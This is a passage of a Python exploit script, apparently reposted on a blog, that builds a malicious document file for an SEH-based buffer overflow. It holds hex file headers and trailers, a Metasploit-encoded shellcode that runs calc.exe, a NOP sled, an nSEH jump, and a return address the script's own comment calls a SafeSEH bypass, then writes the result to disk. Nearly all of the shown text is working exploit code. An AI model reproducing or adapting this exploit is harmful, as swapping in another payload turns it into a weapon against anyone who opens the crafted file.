      353. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      354. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      355. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      356. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      357. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      358. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      359. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      360. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      361. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      362. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      363. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      364. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      365. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      366. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      367. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      368. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      369. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      370. "x74x00x65x00x73x00x74x00x0Dx00x00x00x00x00x00x00"+
      371. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      372. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      373. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      374. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      375. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      376. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      377. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      378. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      379. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      380. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      381. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      382. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      383. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      384. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      385. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      386. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      387. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      388. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      389. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      390. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      391. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      392. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      393. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      394. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      395. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      396. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      397. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      398. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      399. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      400. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      401. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      402. "x00x08x00x00x08x08x00x00x0Ax08x00x00xF3xE7x00x00"+
      403. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      404. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      405. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      406. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      407. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      408. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      409. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      410. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      411. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      412. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      413. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      414. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      415. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      416. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      417. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      418. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      419. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      420. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      421. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      422. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      423. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      424. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      425. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      426. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      427. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      428. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      429. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      430. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x17x4F"+
      431. "x4Ax09x00x51x4Ax09x00x6Fx28x00x5Ex4Ax09x00x6Dx48"+
      432. "x07x04x73x48x07x04x17x4Fx4Ax09x00x51x4Ax09x00x6F"+
      433. "x28x00x5Ex4Ax09x00x6Dx48x07x04x73x48x07x04x00x02"+
      434. "x00x08x00x00x0Ax08x00x00xFDx00x00x00x00x00x00x00"+
      435. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      436. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      437. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      438. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      439. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      440. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      441. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      442. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      443. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      444. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      445. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      446. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      447. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      448. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      449. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      450. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      451. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      452. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      453. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      454. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      455. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      456. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      457. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      458. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      459. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      460. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      461. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      462. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      463. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      464. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      465. "x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x01"+
      466. "x2Dx00x1FxB0xD7x2Fx20xB0xCBx3Dx21xB0x05x07x23x90"+
      467. "xA0x05x22xB0x05x07x24x90xA0x05x25xB0x00x00x17xB0"+
      468. "xC4x02x18xB0xC4x02x31x90x1Fx01xFFxD1x02x00x00x00"+
      469. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      470. "x14x00x11x00x12x00x01x00x9Cx00x0Fx00x04x00x00x00"+
      471. "x08x00x00x00x00x00x5Ax00x00x60xF1xFFx02x00x5Ax00"+
      472. "x00x00x00x00x00x00x00x00x00x00x06x00x4Ex00x6Fx00"+
      473. "x72x00x6Dx00x61x00x6Cx00x00x00x0Bx00x00x00x61x24"+
      474. "x00x03x24x00x31x24x00x00x28x00x43x4Ax18x00x4Fx4A"+
      475. "x09x00x50x4Ax0Ax00x51x4Ax09x00x5Ex4Ax09x00x4Bx48"+
      476. "x02x00x6Dx48x09x04x73x48x09x04x6Ex48x04x08x74x48"+
      477. "x04x08x6Ax00x01x60x01x00x02x00x6Ax00x00x00x00x00"+
      478. "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
      479. "x69x00x6Ex00x67x00x20x00x31x00x00x00x27x00x01x00"+
      480. "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
      481. "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
      482. "x24x01x40x26x00x00x16x00x43x4Ax20x00x4Fx4Ax04x00"+
      483. "x51x4Ax04x00x35x08x01x36x08x00x4Bx48x2Cx00x66x00"+
      484. "x02x60x01x00x02x00x66x00x00x00x00x00x00x00x00x00"+
      485. "x00x00x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00"+
      486. "x67x00x20x00x32x00x00x00x27x00x02x00x12x64xF0x00"+
      487. "x01x00x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3C"+
      488. "x00x59x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26"+
      489. "x01x00x12x00x43x4Ax1Cx00x4Fx4Ax04x00x51x4Ax04x00"+
      490. "x35x08x81x36x08x01x64x00x03x60x01x00x02x00x64x00"+
      491. "x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00"+
      492. "x61x00x64x00x69x00x6Ex00x67x00x20x00x33x00x00x00"+
      493. "x27x00x03x00x12x64xF0x00x01x00x13xA4xF0x00x58x44"+
      494. "x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00"+
      495. "x06x24x01x05x24x01x40x26x02x00x0Fx00x43x4Ax1Ax00"+
      496. "x4Fx4Ax04x00x51x4Ax04x00x35x08x81x00x64x00x04x60"+
      497. "x01x00x02x00x64x00x00x00x00x00x00x00x00x00x00x00"+
      498. "x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00"+
      499. "x20x00x34x00x00x00x27x00x04x00x12x64xF0x00x01x00"+
      500. "x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59"+
      501. "x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x03x00"+
      502. "x0Fx00x43x4Ax1Cx00x4Fx4Ax00x00x51x4Ax00x00x35x08"+
      503. "x81x00x5Ex00x05x60x01x00x02x00x5Ex00x00x00x00x00"+
      504. "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
      505. "x69x00x6Ex00x67x00x20x00x35x00x00x00x27x00x05x00"+
      506. "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
      507. "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
      508. "x24x01x40x26x04x00x0Ax00x43x4Ax1Ax00x35x08x81x36"+
      509. "x08x01x64x00x06x60x01x00x02x00x64x00x00x00x00x00"+
      510. "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
      511. "x69x00x6Ex00x67x00x20x00x36x00x00x00x27x00x06x00"+
      512. "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
      513. "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
      514. "x24x01x40x26x05x00x0Fx00x43x4Ax16x00x4Fx4Ax00x00"+
      515. "x51x4Ax00x00x35x08x81x00x5Cx00x07x60x01x00x02x00"+
      516. "x5Cx00x00x00x00x00x00x00x00x00x00x00x09x00x48x00"+
      517. "x65x00x61x00x64x00x69x00x6Ex00x67x00x20x00x37x00"+
      518. "x00x00x27x00x07x00x12x64xF0x00x01x00x13xA4xF0x00"+
      519. "x58x44x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5C"+
      520. "x24x00x06x24x01x05x24x01x40x26x06x00x07x00x43x4A"+
      521. "x18x00x35x08x00x00x64x00x08x60x01x00x02x00x64x00"+
      522. "x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00"+
      523. "x61x00x64x00x69x00x6Ex00x67x00x20x00x38x00x00x00"+
      524. "x27x00x08x00x12x64xF0x00x01x00x13xA4xF0x00x58x44"+
      525. "x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00"+
      526. "x06x24x01x05x24x01x40x26x07x00x0Fx00x43x4Ax18x00"+
      527. "x4Fx4Ax00x00x51x4Ax00x00x36x08x01x00x60x00x09x60"+
      528. "x01x00x02x00x60x00x00x00x00x00x00x00x00x00x00x00"+
      529. "x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00"+
      530. "x20x00x39x00x00x00x27x00x09x00x12x64xF0x00x01x00"+
      531. "x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59"+
      532. "x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x08x00"+
      533. "x0Cx00x43x4Ax16x00x4Fx4Ax04x00x51x4Ax04x00x44x00"+
      534. "x41x60xF2xFFxA1x00x44x00x00x00x00x00x00x00x00x00"+
      535. "x00x00x16x00x44x00x65x00x66x00x61x00x75x00x6Cx00"+
      536. "x74x00x20x00x50x00x61x00x72x00x61x00x67x00x72x00"+
      537. "x61x00x70x00x68x00x20x00x46x00x6Fx00x6Ex00x74x00"+
      538. "x00x00x00x00x00x00x00x00x00x00x00x00x44x00x20x60"+
      539. "x01x00xF2x00x44x00x00x00x00x00x00x00x00x00x00x00"+
      540. "x06x00x46x00x6Fx00x6Fx00x74x00x65x00x72x00x00x00"+
      541. "x16x00x0Fx00x61x24x00x03x24x00x47x24x00x0DxC6x08"+
      542. "x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A"+
      543. "x12x00x3Ex00x1Fx60x01x00x02x01x3Ex00x00x00x00x00"+
      544. "x00x00x00x00x00x00x06x00x48x00x65x00x61x00x64x00"+
      545. "x65x00x72x00x00x00x10x00x10x00x47x24x00x0DxC6x08"+
      546. "x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A"+
      547. "x12x00x00x08x00x00x0Ax08x00x00x05x00x00x00x00x08"+
      548. "x00x00x0Ax08x00x00x06x00x00x00x02x10x00x00x00x00"+
      549. "x00x00x00x05x00x00x00x00x00x00x08x00x00x00x00x0C"+
      550. "x00x00x00x47x16x90x01x00x00x02x02x06x03x05x04x05"+
      551. "x02x03x04x87x7Ax00x20x00x00x00x80x08x00x00x00x00"+
      552. "x00x00x00xFFx01x00x00x00x00x00x00")
      553. tail=("x90x90xEBx06xE6xADx01x51x00x00x4Dx04x90x01x86x03x02"+
      554. "x01x06x00x03x01x01x01x01x01x00x00x00x00x00x00x00"+
      555. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      556. "x00x8Bx5Bx53x4Fx00x00x54x00x69x00x6Dx00x65x00x73"+
      557. "x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D"+
      558. "x00x61x00x6Ex00x00x00x55x04x90x01x86x07x02x01x06"+
      559. "x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x00"+
      560. "x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00x53"+
      561. "x00x69x00x6Dx00x48x00x65x00x69x00x00x00x54x00x69"+
      562. "x00x6Dx00x65x00x73x00x20x00x4Ex00x65x00x77x00x20"+
      563. "x00x52x00x6Fx00x6Dx00x61x00x6Ex00x00x00x35x14x90"+
      564. "x01x02x00x05x05x01x02x01x07x06x02x05x07x00x00x00"+
      565. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      566. "x80x00x00x00x00x53x00x79x00x6Dx00x62x00x6Fx00x6C"+
      567. "x00x00x00x33x24x90x01x00x00x02x0Bx06x04x02x02x02"+
      568. "x02x02x04x87x7Ax00x00x00x00x00x80x08x00x00x00x00"+
      569. "x00x00x00xFFx01x00x40x00x00xFFxFFx41x00x72x00x69"+
      570. "x00x61x00x6Cx00x00x00x4Dx04x90x01x86x03x02x01x06"+
      571. "x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x10"+
      572. "x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00xD1"+
      573. "x9Ex53x4Fx00x00x54x00x69x00x6Dx00x65x00x73x00x20"+
      574. "x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6Dx00x61"+
      575. "x00x6Ex00x00x00x3Fx34x90x01x00x00x02x07x03x09x02"+
      576. "x02x05x02x04x04x87x7Ax00x00x00x00x00x80x08x00x00"+
      577. "x00x00x00x00x00xFFx01x00x40x00x00xFFxFFx43x00x6F"+
      578. "x00x75x00x72x00x69x00x65x00x72x00x20x00x4Ex00x65"+
      579. "x00x77x00x00x00x3Bx04x90x01x02x00x05x00x00x00x00"+
      580. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      581. "x00x00x00x00x00x00x00x00x80x00x00x00x00x57x00x69"+
      582. "x00x6Ex00x67x00x64x00x69x00x6Ex00x67x00x73x00x00"+
      583. "x00x55x04x90x01x86x07x02x01x06x00x03x01x01x01x01"+
      584. "x01x03x00x00x00x00x00x0Ex08x00x00x00x00x00x00x00"+
      585. "x00x01x00x04x00x00x00x00x00x53x00x69x00x6Dx00x53"+
      586. "x00x75x00x6Ex00x00x00x54x00x69x00x6Dx00x65x00x73"+
      587. "x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D"+
      588. "x00x61x00x6Ex00x00x00x37x04x90x01x00x00x02x04x05"+
      589. "x02x05x04x05x02x03x03x87x02x00x00x00x00x00x00x00"+
      590. "x00x00x00x00x00x00x00x9Fx00x00x20x00x00x00x00x47"+
      591. "x00x65x00x6Fx00x72x00x67x00x69x00x61x00x00x00x37"+
      592. "x04x90x01x00x02x00x00x00x00x00x00x00x00x00x00x00"+
      593. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      594. "x00x00x00x00x00x00x00x20x00x00x00x4Cx00x61x00x74"+
      595. "x00x68x00x61x00x00x00x33x04x90x01x00x00x02x00x04"+
      596. "x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x00"+
      597. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4C"+
      598. "x00x61x00x74x00x68x00x61x00x00x00xFFxFFx12x00x00"+
      599. "x00x00x00x0Ax00x4Ex00x6Fx00x72x00x6Dx00x61x00x6C"+
      600. "x00x2Ex00x77x00x70x00x74x00x04x00x74x00x65x00x73"+
      601. "x00x74x00x00x00x00x00x00x00x0Dx00x41x00x64x00x6D"+
      602. "x00x69x00x6Ex00x69x00x73x00x74x00x72x00x61x00x74"+
      603. "x00x6Fx00x72x00x0Ax00x7Ax00x68x00x61x00x6Ex00x67"+
      604. "x00x71x00x69x00x61x00x6Ex00x67x00x00x00x00x00x00"+
      605. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20"+
      606. "x00x04x00x01x08x88x18x00x00xA4x01xE9xFDx68x01x00"+
      607. "x00x00x00x8Bx33xE5x86x9FxC5x1Bx07x00x00x00x00x01"+
      608. "x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x01"+
      609. "x00x00x00x04x00x03x10x01x00x00x00x00x00x00x00x00"+
      610. "x00x00x00x01x00x01x00x00x00x01x00x00x00x00x00x00"+
      611. "x00x21x03x00x00x00x00x00x00x03x00x5Ax00x26x00x21"+
      612. "x00x29x00x2Cx00x2Ex00x3Ax00x3Bx00x3Fx00x5Dx00x7D"+
      613. "x00xA8x00xB7x00xC7x02xC9x02x15x20x16x20x19x20x1D"+
      614. "x20x26x20x36x22x01x30x02x30x03x30x05x30x09x30x0B"+
      615. "x30x0Dx30x0Fx30x11x30x15x30x17x30x01xFFx02xFFx07"+
      616. "xFFx09xFFx0CxFFx0ExFFx1AxFFx1BxFFx1FxFFx3DxFFx40"+
      617. "xFFx5CxFFx5DxFFx5ExFFxE0xFFx00x00x00x00x00x00x00"+
      618. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      619. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      620. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      621. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      622. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      623. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      624. "x00x00x00x00x00x00x00x00x00x28x00x5Bx00x7Bx00xB7"+
      625. "x00x18x20x1Cx20x08x30x0Ax30x0Cx30x0Ex30x10x30x14"+
      626. "x30x16x30x08xFFx0ExFFx3BxFFx5BxFFxE1xFFxE5xFFx00"+
      627. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      628. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      629. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      630. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05"+
      631. "x07xA0x05xB4x00x8Fx00x02x80x00x00x00x00x00x00x00"+
      632. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      633. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      634. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      635. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      636. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      637. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      638. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      639. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      640. "x00x00x00x29xF0xFFx0Fx01x00x01x3Fx00x00xA8x03x00"+
      641. "x00xFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFF"+
      642. "x7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7Fx27x2Ax17"+
      643. "x00x00x00x00x00x32x00x00x00x00x00x00x00x00x00x00"+
      644. "x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x05"+
      645. "x00x00x00x00x00x00x00x01x00x01x00x00x00x00x00x00"+
      646. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05"+
      647. "x00x00x00x00x00x00x0Ex00x00x00x00xFFxFFxFFxFFx0F"+
      648. "x00x00xF0x20x00x00x00x00x00x06xF0x18x00x00x00x02"+
      649. "x08x00x00x02x00x00x00x02x00x00x00x01x00x00x00x01"+
      650. "x00x00x00x02x00x00x00x00x0Fx00x02xF0x86x00x00x00"+
      651. "x10x00x08xF0x08x00x00x00x02x00x00x00x01x04x00x00"+
      652. "x0Fx00x03xF0x30x00x00x00x0Fx00x04xF0x28x00x00x00"+
      653. "x01x00x09xF0x10x00x00x00x00x00x00x00x00x00x00x00"+
      654. "x00x00x00x00x00x00x00x00x02x00x0AxF0x08x00x00x00"+
      655. "x00x04x00x00x05x00x00x00x0Fx00x04xF0x36x00x00x00"+
      656. "x12x00x0AxF0x08x00x00x00x01x04x00x00x00x0Ex00x00"+
      657. "x53x00x0BxF0x1Ex00x00x00x7Fx00x00x00x8Dx01x7Fx01"+
      658. "x20x00x20x00xCDx01x00x00x00x00xFFx01x00x00x08x00"+
      659. "x3Fx03x01x00x01x00xFFx40x00x00x00x00x00x00x00x00"+
      660. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      661. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      662. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      663. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      664. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      665. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      666. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      667. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      668. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      669. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      670. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      671. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      672. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      673. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      674. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      675. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      676. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      677. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      678. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      679. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      680. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      681. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      682. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      683. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      684. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      685. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      686. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      687. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      688. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00")
      689. # windows/exec CMD=calc.exe
      690. # Encoder: x86/shikata_ga_nai
      691. # powered by Metasploit
      692. # msfpayload windows/exec CMD=calc.exe R | msfencode -b 'x00'
      693. shellcode =("xbax68x3ex85x1fxd9xcaxd9x74x24xf4x58x29xc9"+
      694. "xb1x33x31x50x12x83xe8xfcx03x38x30x67xeax44"+
      695. "xa4xeex15xb4x35x91x9cx51x04x83xfbx12x35x13"+
      696. "x8fx76xb6xd8xddx62x4dxacxc9x85xe6x1bx2cxa8"+
      697. "xf7xadxf0x66x3bxafx8cx74x68x0fxacxb7x7dx4e"+
      698. "xe9xa5x8ex02xa2xa2x3dxb3xc7xf6xfdxb2x07x7d"+
      699. "xbdxccx22x41x4ax67x2cx91xe3xfcx66x09x8fx5b"+
      700. "x57x28x5cxb8xabx63xe9x0bx5fx72x3bx42xa0x45"+
      701. "x03x09x9fx6ax8ex53xe7x4cx71x26x13xafx0cx31"+
      702. "xe0xd2xcaxb4xf5x74x98x6fxdex85x4dxe9x95x89"+
      703. "x3ax7dxf1x8dxbdx52x89xa9x36x55x5ex38x0cx72"+
      704. "x7ax61xd6x1bxdbxcfxb9x24x3bxb7x66x81x37x55"+
      705. "x72xb3x15x33x85x31x20x7ax85x49x2bx2cxeex78"+
      706. "xa0xa3x69x85x63x80x86xcfx2exa0x0ex96xbaxf1"+
      707. "x52x29x11x35x6bxaax90xc5x88xb2xd0xc0xd5x74"+
      708. "x08xb8x46x11x2ex6fx66x30x4dxeexf4xd8xbcx95"+
      709. "x7cx7axc1")
      710. nops="x90"*(516- len(shellcode))#516 bytes space for shellcode
      711. nseh="x90x90xebx06"
      712. seh=pack('<L',0x5101ade6)#0x5101ade6 # POP EBP # POP EBX # RETN 0x10 - IRLAS.dll [SafeSEH Bypass]
      713. poc=head + nops + shellcode + nseh + seh + tail
      714. try:
      715. print"[*] Creating exploit file... ";
      716. writeFile = open (file,"w")
      717. writeFile.write( poc )
      718. writeFile.close()
      719. print"[*] File successfully created!";
      720. except:
      721. print"[!] Error while creating file!";
  • 相关阅读:
    天国近了(一) 揭穿OOP神话
    自然思考:流程任意定制的一个问题
    风水占卜是迷信吗?
    飘浮的鸡蛋壳真正的原理研究
    ListView
    Java与WCF交互(一):Java客户端调用WCF服务 (转)
    WPF ListView 数据绑定
    .NET中Trace类和Debug类的应用举例(转)
    Print Visual Tree
    EntityFramework之领域驱动设计实践(六)(转)
  • 原文地址:https://www.cnblogs.com/security4399/p/3477341.html
